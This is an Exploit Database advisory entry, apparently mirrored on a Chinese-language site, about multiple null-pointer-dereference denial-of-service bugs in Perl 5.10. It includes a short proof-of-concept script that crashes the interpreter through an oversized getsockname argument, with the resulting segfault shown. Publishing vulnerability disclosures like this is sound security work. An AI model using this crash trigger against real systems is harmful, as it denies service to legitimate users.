Perl 5.10 – Multiple Null Pointer Dereference Denial of Service Vulnerabilities

• Exploit Database
• 13 阅读

• 作者： Jonathan Brossard
  日期： 2011-05-03
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/35725/

• source: https://www.securityfocus.com/bid/47766/info
  
  Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.
  
  An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.
  
  Perl versions 5.10.x are vulnerable. 
  
  jonathan () blackbox:~/test$ cat poc1.pl
  #!/usr/bin/perl
  $a =
  getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
  jonathan () blackbox:~/test$ perl poc1.pl
  Segmentation fault (core dumped)
  jonathan () blackbox:~/test$